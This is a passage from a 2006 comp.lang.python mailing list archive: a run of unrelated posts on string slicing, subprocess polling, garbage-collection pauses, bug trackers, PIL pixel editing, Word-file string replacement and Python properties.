<136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt> Message-ID: <1161327718.682739.243850@m7g2000cwm.googlegroups.com> rick wrote: ... > see that the sequence is reversed. Backwards is pure, simple and easy. > This is not so in Python and it should be. foo[::-1] isn't "pure, simple and easy"? It derives cleanly from the slice notation, it does exactly what you want, and it even works with lists and tuples and any other class written to support slice notation. Does ruby have a built in string function to do this: foo[::-2]? How about this: foo[-1::-2] or this: foo[-2::-2]? See, it's not about "blindly memorizing this stuff", it's about clever abstractions that allow you to quickly, flexibly and powerfully program your computer. I'd rather learn a few well thought out abstractions than memorize a set of methods. The answer to your OP question, "Why can't Python have a reverse() function/method like Ruby?" is "It can." You can build it yourself quickly and easily, and a lot of other functions as well. Peace, ~Simon From utabintarbo at gmail.com Wed Oct 11 07:49:07 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 11 Oct 2006 04:49:07 -0700 Subject: Asychronous execution *with* return codes? In-Reply-To: References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> <1160053403.362330.136200@k70g2000cwa.googlegroups.com> <1160059393.325634.167640@e3g2000cwe.googlegroups.com> Message-ID: <1160567347.164451.138940@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > utabintarbo wrote: > > > If so, how do I handle the poll() on long-running processes? Run a > > bunch and then start a check loop? > > or use a thread to keep track of each external process. > > This sounds most promising. Might you have a code snippet (or link to same) illustrating this? From fredrik at pythonware.com Wed Oct 4 16:32:41 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 22:32:41 +0200 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: gord wrote: > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? if you think those are the "big 3", you should perhaps start by asking yourself where *you* are in the scheme of things. From fredrik at pythonware.com Tue Oct 17 01:29:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 07:29:33 +0200 Subject: OT: What's up with the starship? In-Reply-To: <1161025636.641534.282290@f16g2000cwb.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <1161025636.641534.282290@f16g2000cwb.googlegroups.com> Message-ID: rurpy at yahoo.com wrote: > I admit I am totally flmmexed by your answer. > What does when the bug was introduced have to do with > anything? oh, I thought your main concern was whether the packages available had been compromised, and that you asked if that was the reason an advisory was released last week. if someone has developed an exploit for the vulnerability, chances are that they'd attack more than just a single obscure and mostly abandoned server. From sjmachin at lexicon.net Sun Oct 1 04:09:47 2006 From: sjmachin at lexicon.net (John Machin) Date: 1 Oct 2006 01:09:47 -0700 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: Message-ID: <1159690187.914063.296330@i3g2000cwc.googlegroups.com> Giovanni Bajo wrote: > charlie strauss wrote: > > > Below is a simple program that will cause python to intermittently > > stop executing for a few seconds. it's 100% reproducible on my > > machine. > > Confirmed with Python 2.4.2 on Windows. > > gc.disable() fixes it, so it looks like you found an inefficiency in the > Python's GC. I have no idea whether this would be considered a bug by Python's > developer, but you can try opening a bugreport... Reproduced on 2.4.3 and 2.5 on Windows. Disabling GC fixes the speed problem as Giovanni said, but doesn't reduce the amount of memory taken (measured by increase in "page file used" display in Task Manager). At about 520 Mb, this seems rather too high to me. Definitely worth reporting, even if the outcome is only(!) a timbottian dissertation of why it's not a problem -- at least we'd learn something :-) Cheers, John From skip at pobox.com Wed Oct 4 11:57:56 2006 From: skip at pobox.com (skip at pobox.com) Date: Wed, 4 Oct 2006 10:57:56 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: <1159975907.085831.44790@k70g2000cwa.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> <1159975907.085831.44790@k70g2000cwa.googlegroups.com> Message-ID: <17699.55812.728555.796343@montanaro.dyndns.org> Istvan> I think you are missing the point. Switching to a different Istvan> tracker is not such a big deal. Having a really good tracker is Istvan> a big deal. No, actually switching trackers can be one big pain in the ass. You probably aren't aware of how hard it's been for the Python development team (I think Martin v. Loewis, mostly) to get tracker data out of SF. An explicit requirement was that any tool chosen as a SF replacement be able to easily export its database to avoid this sort of "lock-in" in the future. Skip From Luwian at gmail.com Mon Oct 23 18:46:03 2006 From: Luwian at gmail.com (Lucas) Date: 23 Oct 2006 15:46:03 -0700 Subject: How to get each pixel value from a picture file! In-Reply-To: References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> Message-ID: <1161643563.111993.109480@b28g2000cwb.googlegroups.com> Thank you for your answer. I have some new questions: 1) the value of return from getpixel() is a RGB number? print im.getpixel((44,55)) ----> (160,160,160) 2) I want to put a number into the picture for encryption(replace least significant bit (LSB) of image intensity with message bit). If i use putpixel((44,55),0) , the number 0 will be changed RGB value or others.? 3) pix = im.load() print pix[44,55] pix[44, 55] = value my python cannt identify "[x,y]" ?? Steve Holden wrote: > Lucas wrote: > > I want to change some pixel value in the picture file. how to do it? > > > The most popular way is probably the Python Image Library, known to its > friends as PIL: > > http://www.pythonware.com/products/pil/ > > You will see from > > http://www.pythonware.com/library/pil/handbook/image.htm > > that images have .getpixel() and .putpixel() methods that will allow you > to read and set individual pixels if you want. Be aware that the > forthcoming release will give faster access using something called > "pixel access objects", about which I know nothing. > > > If I read the file in binary mode, a bit == a pixel ? > > > Only for monochrome images, of course. Greyscale and color images have > more bits per pixel, and some formats use a palette mapping to allow > high color-fidelity with fewer bits per pixel (GIF is one such format). > > Download PIL and play with it. I'm sure you'll have a lot of fun, and > you can do a surprising amount of processing just noodling around in an > interactive interpreter session. > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From martin.witte at gmail.com Sun Oct 29 17:41:55 2006 From: martin.witte at gmail.com (wittempj@hotmail.com) Date: 29 Oct 2006 14:41:55 -0800 Subject: looping through two list simultenously In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: <1162161715.740016.61130@b28g2000cwb.googlegroups.com> CSUIDL PROGRAMMEr wrote: > folks > I have two lists > > i am trying to loop thorough them simultenously. > > Here is the code i am using > > f1 = os.popen('ls chatlog*.out') You can replace this by py> import glob py> f1 = glob.glob('chatlog*.out') it will return a list of filenames in f1, so you can skip next two lines in your code > data1=f1.readlines() > f1.close() > If you use the glob this step can be skipped too, as glob returns the filenames, without any whitespace added > data1=[x.strip() for x in data1] > f1 = os.popen('ls chatlog*.txt') > data=f1.readlines() > f1.close() > for eachline in data1 and line in data: > > filename='/root/Desktop/project/'+ eachline > print filename > outfile=open(filename,'r') > filename1='/root/Desktop/project/' + line > print filename1 > now you do the zip as suggested by the other people, but be aware that it only returns the tuples as long as the shortest list is, so it might be a good idea to add a test on equality of the number of .log and .txt files py> import glob py> f1 = glob.glob('chatlog*.out') py> f2 = glob.glob('chatlog*.txt') py> if len(f1) != len(f2): py> print "number of .out files doesn't match number of .txt files" py> f3 = zip(f1, f2) now f3 will be somethine like [('chatlog1.out', 'chatlog1.txt'),('chatlog2.out', 'chatlog2.txt')], then you can continue with your iteration loops > I get the error that line is not defined. > Traceback (most recent call last): > File "list.py", line 16, in ? > for eachline in data1 and line in data: > NameError: name 'line' is not defined > > Is there any efficient doing this From ath-admin at vt.edu Mon Oct 9 08:50:45 2006 From: ath-admin at vt.edu (rick) Date: Mon, 09 Oct 2006 08:50:45 -0400 Subject: file system iteration In-Reply-To: References: Message-ID: Gerrit Holl wrote: > The very least you can try: > > import string > string.ascii_uppercase > > for c in string.ascii_uppercase: > if os.path.isdir('%s:/' % c): > ... > > etc. > But I suppose there should be a better way. Oh yes, I do that. I spelled out the example very explicitly for clarity. I don't actually type in A-Z :) From vatamane at gmail.com Sun Oct 29 17:14:07 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 14:14:07 -0800 Subject: Observation on "Core Python Programming" In-Reply-To: <1162156739.376402.239880@k70g2000cwa.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162152161.321947.257870@m73g2000cwd.googlegroups.com> <1162156739.376402.239880@k70g2000cwa.googlegroups.com> Message-ID: <1162160047.896307.180000@i42g2000cwa.googlegroups.com> I meant "omitted" not as complete omission but as not being there sooner... John Coleman wrote: > A is not ommitted from DBECAFG - it just appears in a non-standard > order. If the book simply ommitted functions then it would be a > shocking ommission. As it is, it is just a curious way of sequencing > topics. Functions are in chapter 11 out of 23 chapters - sounds like > the "core" of the book to me. > > Chun does emphasize the first-class status of functions in Python - > something which is fairly important to me since I have dabbled on and > off with functional programming the last few years (mostly SML) and am > interested in seeing the extend to which Python is genuinely > "multi-paradigm" - able to blend the functional and imperative (and OO) > paradigms together. > > -John Coleman > > Nick Vatamaniuc wrote: > > I would consider that an omission. Functions are very important in > > Python. I think the user/reader should see the _def_ and _class_ > > statement fairly soon in the introduction. The name of the book is > > thus somewhat misleading, because functions are at the "core" of > > Python. > > > > Functions should be right there with the integers, strings, files, > > lists and dictionaries. Another important point to stress, in my > > opinion, is that functions are first-class objects. In other words > > functions can be passes around just like strings and numbers! > > > > -Nick Vatamaniuc > > > > > > John Coleman wrote: > > > Greetings, > > > My copy of the second edition of Chun's "Core Python Programming" > > > just arrived from Amazon on Friday. What really jumped out at me is an > > > interesting feature about how it sequences its topics, namely, > > > (user-defined) functions are not introduced until chapter 11, fully 400 > > > pages into the book. This contrasts strongly with a traditional > > > "Introduction to language X" book which has a chapter sequence roughy > > > like: > > > > > > Chapter 1) Intro - Hello World > > > Chapter 2) Variables > > > Chapter 3) If, if-else > > > Chapter 4) Loops > > > Chapter 5) Functions and/or subroutines > > > > > > The exact details vary from book to book and language to language of > > > course, but usually the above topics are covered in the first 100-150 > > > pages since it is hard to do anything interesting until all of these > > > tools are under your belt. Chun's book by contrast is able, on the > > > strength of Python's built-in functions, to cover a fair amount of > > > relatively interesting things (dictionaries, file IO, exception > > > handling, etc.) before introducing user-defined functions. > > > > > > I don't want to read too much into this, but the mere fact that it is > > > possible to write a Python book in this fashion seems to confirm the > > > "batteries are included" philosophy of Python. Perhaps there is less > > > need to learn how to roll your own batteries as soon as possible. > > > > > > -John Coleman From python.list at tim.thechases.com Tue Oct 24 11:29:08 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 24 Oct 2006 10:29:08 -0500 Subject: The format of filename In-Reply-To: References: Message-ID: <453E3144.50307@tim.thechases.com> >> As an example, I'm aware (through osmosis?) that I can use '/' as >> a directory separator in filenames on both Unix and Dos. But >> where is this documented? > > in the documentation for your operating system. Python doesn't do > anything with the filenames. Windows seems to be (occasionally) doing the translation as /F mentions: C:\temp> python Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> for line in file('subdir/test.txt'): ... print line.strip() ... 1 2 3 >>> ^Z C:\temp> REM try the same filename convention from dos prompt C:\temp> type subdir/test.txt The syntax of the command is incorrect. C:\temp> REM try with quotes, just in case... C:\temp> type "subdir/test.txt" The syntax of the command is incorrect. C:\temp> notepad subdir/test.txt C:\temp> REM correctly opened the text file in notepad Windows seems to doing the translation inconsistently (I know that comes as a shock...) -tkc From Matthew.Warren at Digica.com Tue Oct 17 11:31:23 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Tue, 17 Oct 2006 16:31:23 +0100 Subject: Return returns nothing in recursive function Message-ID: Hallo people, I have the following code that implements a simple recursive tree like structure. The trouble is with the GetTreeBranch function, the print statement prints a valid value but the return immediatley afterward doesn't return anything. Can anyone help me with why? Thanks, Matt. Code and output follow; ''' dirtree A simple implementation of a filesystem-like tree datastructure. ''' def MakeNewTree(rootname='root'): '''MakeNewTree Creates an empty tree with a 'root' node. If the parameter rootname is not given, it defaults to 'root'. ''' return [{rootname:[]}] def DoThingsToTree(path,value,tree,delete=False): '''_DoThingsToTree You should not use this function. ''' if type(path)==type(''): path=path.lstrip('/').rstrip('/').split('/') for item in tree: if type(item)==type({}) and item.has_key(path[0]): if len(path)==1: if not delete: try: item[path[0]].append(value) except KeyError: item[path[0]]=value else: if value is not None: del(item[path[0]][value]) else: del(tree[tree.index(item)]) break else: _DoThingsToTree(path[1:],value,item[path[0]],delete) def GetTreeBranch(path,tree): if type(path)==type(''): path=path.lstrip('/').rstrip('/').split('/') for item in tree: if type(item)==type({}) and item.has_key(path[0]): if len(path)==1: print 'returning',tree[tree.index(item)] return tree[tree.index(item)] else: GetTreeBranch(path[1:],item[path[0]]) def AddItemToTree(path,value,tree): '''AddITemToTree Add an item onto a 'branch' of the tree. path should be a '/' separated string that defines a path to the branch required. value an object to put onto the branch tree the tree to operate on. ''' DoThingsToTree(path,value,tree) def AddBranchToTree(path,branch,tree): '''AddBranchToTree Add a new branch to the tree. path should be a '/' separated string that defines a path to the branch required. branch an object used as the branch identifier (usually a string) tree the tree to operate on ''' DoThingsToTree(path,{branch:[]},tree) def DelItemFromTree(path,index,tree): '''DelItemFromTree Remove an item from the tree. path should be a '/' separated string that defines a path to the branch required. index the numeric index of the item to delete on the branch to delete. items are indexed in the order they are added, from 0 ''' DoThingsToTree(path,index,tree,delete=True) def DelBranchFromTree(path,tree): '''DelBranchFromTree Remove a branch and all items and subbranches. path should be a '/' separated string that defines a path to the branch required. tree The tree to delete the branch from. ''' DoThingsToTree(path,None,tree,delete=True) OUTPUT; >>> from dirtree import * >>> MyTree=MakeNewTree('Matt') >>> AddBranchToTree('Matt','Good',MyTree) >>> AddBranchToTree('Matt','Bad',MyTree) >>> AddItemToTree('Matt/Good','Computers',MyTree) >>> AddItemToTree('Matt/Bad','Drinking',MyTree) >>> a=GetTreeBranch('Matt/Bad',MyTree) returning {'Bad': ['Drinking']} >>> a >>> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From skip at pobox.com Wed Oct 4 11:51:43 2006 From: skip at pobox.com (skip at pobox.com) Date: Wed, 4 Oct 2006 10:51:43 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <17699.55439.294528.110025@montanaro.dyndns.org> Giovanni> In fact, are you absolutely positive that you need so much Giovanni> effort to maintain an existing bugtracker installation? The development group's experience with SF and I think to a lesser extent, Roundup in its early days, and more generally with other components of the development toolchain (source code control) and python.org website maintenance suggests that some human needs to be responsible for each key piece of technology. Maybe when it's mature it needs very little manpower to maintain, but a substantial investment is required when the technology is first installed. Skip From cems at earthlink.net Sun Oct 1 10:43:58 2006 From: cems at earthlink.net (charlie strauss) Date: Sun, 1 Oct 2006 10:43:58 -0400 (EDT) Subject: Is this a bug? Python intermittently stops dead for seconds Message-ID: <6821929.1159713838931.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> By the way if you are on a fast computer, and an OS whose time.time() function can resolve less than 0.5 seconds then you can see this problem on your machine at lower memory utilizations by changing the value of the default "allowed_gap" in the gtime class from 0.5 seconds down to say 0.1 second. This is the threshold for which the computer program flags the time it takes to create a "foo" object. on a fast computer it should take much less than 0.1 sec. -----Original Message----- >From: charlie strauss >Sent: Oct 1, 2006 10:33 AM >To: Steve Holden , python-list at python.org >Subject: Re: Is this a bug? Python intermittently stops dead for seconds > >Steve and other good folks who replied: > >I want to clarify that, on my computer, the first instance of the gap occurs way before the memory if filled. (at about 20% of physical ram). Additionally the process monitor shows no page faults. > > Yes if you let the as-written demo program run to completetion (all 20,000 iterations) then on many computers it would not be surprising that your computer eventually goes into forced page swapping at some point. That would be expected and is not the issue than the one I am concerned with. > >in my case starts glicthing at around iteration 1000. > >1000(bars) x 100(foos)x(10 integers in array) > >is nominally >100,000 class objects and >1,000,000 array elements. > >(note that the array if filled as [1]*10, so there is actually only one "integer", but 10 array elements refering to it, per foo class.) > > >However steve may have put his finger on the reason why the duration grows with time. Here is my current hypothesis. The design of the program does not have and points where significant amounts of memory are released: all objects have held references till the end. But prehaps there are some implicitly created objects of the same size created along the way??? For example when I write > >me.memory = [1]*nfoo > >perhaps internally, python is allocating an array of size foo and then __copying__ it into me.memory??? Since there is no reference to the intermediate it would then marked for future garbage collection. > >If that were true then the memory would have interleaved entities of things to GC and things with references held in me.memory. > >Then to remove these would require GC to scan the entire set of existing objects, which is growing. > >Turning off GC would prevent this. > > >In any case I don't think what I'm doing is very unusual. The original program that trigger my investigation of the bug was doing this: > >foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots from 100 voting machines, and the total array was holding the ballot sets from a few thousand voting machines. > >Almost any inventory program is likely to have such a simmilar set of nested array, so it hardly seems unusual. > > > > > >-- >http://mail.python.org/mailman/listinfo/python-list From duncan.booth at invalid.invalid Sun Oct 22 16:05:49 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 22 Oct 2006 20:05:49 GMT Subject: Python and CMS References: Message-ID: Echo wrote: > Sadly, I only found Plone, skeletonz, and PyLucid (If there is any > more, please let me know). Of those three, only PyLucid supports WSGI > and it didn't look very nice to me. > Both Plone and skeletonz looked very nice. However, they can't be > hosted on a regular web host(at least to my knowledge) since they run > as the web server themselves. So hosting would cost more, at least 2-3 > times more from what I've seen. > Just because something like Plone can run as a web server doesn't mean that you expose that web server to the outside world, nor do you have to run it as a webserver at all. Normally you run Plone behind another web server such as Apache. You can get Plone on shared hosting from various places. I use webfaction (www.webfaction.com). From fredrik at pythonware.com Sat Oct 28 11:31:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 17:31:40 +0200 Subject: Need help (Basic python)...what did I do wrong? In-Reply-To: References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: Steven D'Aprano wrote: > I don't think the restrictions against collusion are meant to prohibit > simple "what does this error message mean?" type questions. It would be > a funny sort of learning process that forced students to live in a > vacuum, never discussing their topic with anyone else, never asking the > most trivial questions. the python-tutor policy is quite reasonable: http://effbot.org/pyfaq/tutor-what-is-the-policy-on-homework.htm From rasmussen.bryan at gmail.com Tue Oct 10 06:41:27 2006 From: rasmussen.bryan at gmail.com (bryan rasmussen) Date: Tue, 10 Oct 2006 12:41:27 +0200 Subject: OT: Sarcasm and irony In-Reply-To: <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk> Message-ID: <3bb44c6e0610100341n2c642556ra0692dd42a41dd5@mail.gmail.com> On 10/10/06, Max M wrote: > bryan rasmussen skrev: > > On 10/10/06, Steve Holden wrote: > > >> ... in America. It's well-known among Brits that Americans don't > >> understand irony. They can be pretty oblique when it come to sarcasms > >> too, for that matter. > > > > is that '....in America' meant to be an addendum to what I said, as in > > this is the situation in America and not elsewhere? If so I should > > probably point out that I am writing from Denmark and was thinking > > specifically of a situation where a dane told me they were being > > 'ironic' (when what they meant, obviously, was that they were being > > ironical), when I asked what they meant by that they said "saying the > > opposite of what I mean" I responded: "so, in other words, what you > > mean by irony is 'sarcasm'" She responded "yes, that's what it means" > > > Are you an american? > > Irony does mean that one says the opposite of what one really means. > > If you do it for humor its irony, if you do it for mocking it is sarcasm. > > So now I see... americans really *do* understand irony. To reiterate: Well irony originally started out as a very specific concept of the Ancient Greek drama, this is what we nowadays refer to as Dramatic Irony but it is the original irony. Irony then became a literary concept for plot elements similar to Dramatic irony in books, or a weaker type of the Dramatic irony found in the plays of Shakespeare. People then noticed that life was at times ironic in the literary manner. Nowadays the use of the word irony has degenerated to by pretty much synonymous with sarcasm. Cheers, Bryan Rasmussen From tim.peters at gmail.com Wed Oct 11 12:24:33 2006 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 11 Oct 2006 12:24:33 -0400 Subject: hundreds of seconds? In-Reply-To: <1160581108.301858.37760@m7g2000cwm.googlegroups.com> References: <1160581108.301858.37760@m7g2000cwm.googlegroups.com> Message-ID: <1f7befae0610110924u3c8ea6e8uacba1bac5160ae61@mail.gmail.com> [eur.van.andel at gmail.com] > ... > G5-fiwihex:~ eur$ python > Python 2.3.5 (#1, Mar 20 2005, 20:38:20) > [GCC 3.3 20030304 (Apple Computer, Inc. build 1809)] on darwin > Type "help", "copyright", "credits" or "license" for more information. > >>> import time > >>> time.time() > 1160580871.258379 > >>> > > My G5 has lots of digits behind the decimal point, my measuring PC runs > W98. We'll see how it does there. But I trust it to be enough digits. On Windows 98, time.time() typically updates only once per 0.055 seconds (18.2 Hz), but time.clock() typically updates more than a million times per second. You do /not/ want to use time.time() for sub-second time measurement on Windows. Use time.clock() for this purpose on Windows. From grante at visi.com Mon Oct 16 10:43:42 2006 From: grante at visi.com (Grant Edwards) Date: Mon, 16 Oct 2006 14:43:42 -0000 Subject: How to send E-mail without an external SMTP server ? References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> <1160984719.088664.76350@e3g2000cwe.googlegroups.com> Message-ID: <12j76kur9o0sgc1@corp.supernews.com> On 2006-10-16, fdu.xiaojf at gmail.com wrote: > Yes, I want to find a way to send email without an external smtp server. If you're not going to use an SMTP server, what sort of server do you want to use? -- Grant Edwards grante Yow! Let me do my TRIBUTE at to FISHNET STOCKINGS... visi.com From jstroud at mbi.ucla.edu Thu Oct 19 16:38:59 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 19 Oct 2006 20:38:59 GMT Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Neil Cerutti wrote: > On 2006-10-19, Fredrik Lundh wrote: > >>James Stroud wrote: >> >> >>>without requiring an iterator >> >>can we perhaps invent some more arbitrary constraints while >>we're at it? > > > No letter G. I don't like them. They wet their nests. > The requirement for an iterator is the constraint. Removin the requirement for the iterator removes the constraint. Or is the iterator the convenience? James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From Eric_Dexter at msn.com Sun Oct 29 20:11:10 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 29 Oct 2006 17:11:10 -0800 Subject: simple oop question (hopefully) Message-ID: <1162170670.347917.31960@i42g2000cwa.googlegroups.com> I am just trying to acess a function in wordgrid (savefile) to a button that is defined in TestFrame. I can't seem to make it work I either get an error that my variable isn't global or it makes other complaints. thanks in advance.. sorry for the simple question.. import wx import wx.grid as gridlib import sys #--------------------------------------------------------------------------- class WordGrid(gridlib.Grid): def __init__(self, parent, log): gridlib.Grid.__init__(self, parent, -1) self.loadFile() self.CreateGrid(len(self.rows), self.widestRow) for r, row in enumerate(self.rows): for c, col in enumerate(row): self.SetCellValue(r, c, col) self.SetColSize(c, 10*self.widestCol) for c, label in enumerate(self.header): self.SetColLabelValue(c, label) def loadFile(self): #from_file infile = open(sys.argv[1], 'r') #The first argument passed in is the file name foundHeader = False self.rows = [] for line in infile: if sys.argv[2] in line: #look for the second argument and make that the header #removefirst = line.split(' ') self.header = line.split() #foundHeader = 'true' continue # we don't want to process this line any further else: self.rows.append(line.split()) self.widestRow = max([len(r) for r in self.rows]) self.widestCol = max([len(c) for c in [r for r in self.rows]]) def savefile(self): outfile = open(sys.argv[1], 'w') #open the file defined in the output line for writing for row in self.rows: outfile.write(row) print('this is a test to see if I can Crash it') class TestFrame(wx.Frame): def __init__(self, parent, log): wx.Frame.__init__(self, parent, -1, "Dex Tracker Sco Editor", size=(640,480)) p = wx.Panel(self, -1, style=0) grid = WordGrid(p, log) #grid = CustTableGrid(p, log) b = wx.Button(p, -1, "Save Grid") b.SetDefault() self.Bind(wx.EVT_BUTTON, self.OnButton, b) b.Bind(wx.EVT_SET_FOCUS, self.OnButtonFocus) bs = wx.BoxSizer(wx.VERTICAL) bs.Add(grid, 1, wx.GROW|wx.ALL, 5) bs.Add(b) p.SetSizer(bs) def OnButton(self, evt): print "button selected" grid = WordGrid(self, log).savefile() #self.WordGrid.savefile(self) def OnButtonFocus(self, evt): print "button focus" #--------------------------------------------------------------------------- #def main(): def main(From_File, find_string): """This is the entire editor for .sco files.. It doesn't realy care if it is music or not. Any file that you lay out with even rows and collums can be displayed The first argument passed to main is the file to be used and the second if the string to be used as the command to set up the header of the grid. The sting you wish to use to identify the header should be placed last so it doesn't show up in the grid. """ import sys app = wx.PySimpleApp() frame = TestFrame(None, sys.stdout) frame.Show(True) app.MainLoop() pass if __name__ == '__main__': import sys #try: main(sys.argv[1], sys.argv[2]) From antoine at vo.lu Tue Oct 24 06:15:40 2006 From: antoine at vo.lu (Antoine De Groote) Date: Tue, 24 Oct 2006 12:15:40 +0200 Subject: can't open word document after string replacements In-Reply-To: <453dd1b8$0$15214$426a74cc@news.free.fr> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> <453dd1b8$0$15214$426a74cc@news.free.fr> Message-ID: <30f41$453de7c9$544abf75$16552@news.hispeed.ch> Bruno Desthuilliers wrote: > Antoine De Groote wrote: >> Hi there, >> >> I have a word document containing pictures and text. This documents >> holds several 'ABCDEF' strings which serve as a placeholder for names. >> Now I want to replace these occurences with names in a list (members). > > Do you know that MS Word already provides this kind of features ? No, I don't. Sounds interesting... What is this feature called? > >> I >> open both input and output file in binary mode and do the >> transformation. However, I can't open the resulting file, Word just >> telling that there was an error. Does anybody what I am doing wrong? > > Hand-editing a non-documented binary format may lead to undesirable > results... > >> Oh, and is this approach pythonic anyway? > > The pythonic approach is usually to start looking for existing > solutions... In this case, using Word's builtin features and Python/COM > integration would be a better choice IMHO. > >> (I have a strong Java >> background.) > > Nobody's perfect !-) > >> Regards, >> antoine >> >> >> import os >> >> members = somelist >> >> os.chdir(somefolder) >> >> doc = file('ttt.doc', 'rb') >> docout = file('ttt1.doc', 'wb') >> >> counter = 0 >> >> for line in doc: > > Since you opened the file as binary, you should use file.read() instead. > Ever wondered what your 'lines' look like ?-) > >> while line.find('ABCDEF') > -1: > > .doc is a binary format. You may find such a byte sequence in it's > content in places that are *not* text content. > >> try: >> line = line.replace('ABCDEF', members[counter], 1) >> docout.write(line) > > You're writing back the whole chunk on each iteration. No surprise the > resulting document is corrupted. > >> counter += 1 > > seq = list("abcd") > for indice, item in enumerate(seq): > print "%02d : %s" % (indice, item) > > >> except: >> docout.write(line.replace('ABCDEF', '', 1)) >> else: >> docout.write(line) >> >> doc.close() >> docout.close() >> > > > From michele.simionato at gmail.com Wed Oct 18 02:43:49 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 17 Oct 2006 23:43:49 -0700 Subject: creating many similar properties In-Reply-To: References: Message-ID: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> Lee Harr wrote: > I understand how to create a property like this: > > class RC(object): > def _set_pwm(self, v): > self._pwm01 = v % 256 > def _get_pwm(self): > return self._pwm01 > pwm01 = property(_get_pwm, _set_pwm) > > > But what if I have a whole bunch of these pwm properties? > > I made this: > > class RC(object): > def _makeprop(name): > prop = '_%s' % name > def _set(self, v): > v_new = v % 256 > setattr(self, prop, v_new) > def _get(self): > return getattr(self, prop) > return property(_get, _set) > > pwm01 = _makeprop('pwm01') > pwm02 = _makeprop('pwm02') > > > Not too bad, except for having to repeat the name. > > I would like to just have a list of pwm names and > have them all set up like that. It would be nice if > each one was set to a default value of 127 also.... > > Any thoughts? > Yes, what about this? import sys def defprop(name, default=127): loc = sys._getframe(1).f_locals prop = '_%s' % name def _set(self, v): v_new = v % 256 setattr(self, prop, v_new) def _get(self): return getattr(self, prop, default) loc[name] = property(_get, _set) class RC(object): defprop('pwm01') defprop('pwm02') rc = RC() print rc.pwm01 # 127 print rc.pwm02 # 127 rc.pwm02 = 1312 print rc.pwm02 # 32 This is a bit hackish, but I would prefer this over a metaclass solution. since it does not add any hidden magic to your class. Michele Simionato From steve at holdenweb.com Tue Oct 3 06:59:14 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 11:59:14 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <7xk63h232z.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > "Giovanni Bajo" writes: > >>I just read this mail by Brett Cannon: 